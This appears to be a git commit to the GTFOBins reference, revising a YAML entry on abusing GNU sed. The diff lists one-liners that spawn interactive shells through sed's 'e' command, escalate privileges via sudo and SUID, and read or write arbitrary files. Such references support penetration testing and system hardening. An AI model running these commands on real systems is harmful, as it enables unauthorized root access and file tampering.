Fix sed execute and file write, also enforce standards

This commit is contained in:
Andrea Cardaci 2018-06-13 16:00:47 +02:00
parent 3c0e0bf1e3
commit 2da69686ac

View File

@ -1,19 +1,23 @@
---
functions:
execute-interactive:
- code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
- description: GNU version only. Also, this requires `bash`.
code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
execute-non-interactive:
- description: GNU version only.
code: sed -n "1e id" /etc/hosts
sudo-enabled:
- code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
- description: GNU version only. Also, this requires `bash`.
code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
suid-enabled:
- code: |
LFILE=file_to_read
./sed -e '' "$LFILE"
- description: GNU version only. Also, this requires `bash`.
code: ./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
file-read:
- code: |
LFILE=file_to_read
sed -e '' "$LFILE"
sed '' "$LFILE"
file-write:
- code: |
LFILE=file_to_write
echo x | sed "s/x/data/;w $LFILE"
sed -n "1s/.*/data/w $LFILE" /etc/hosts
---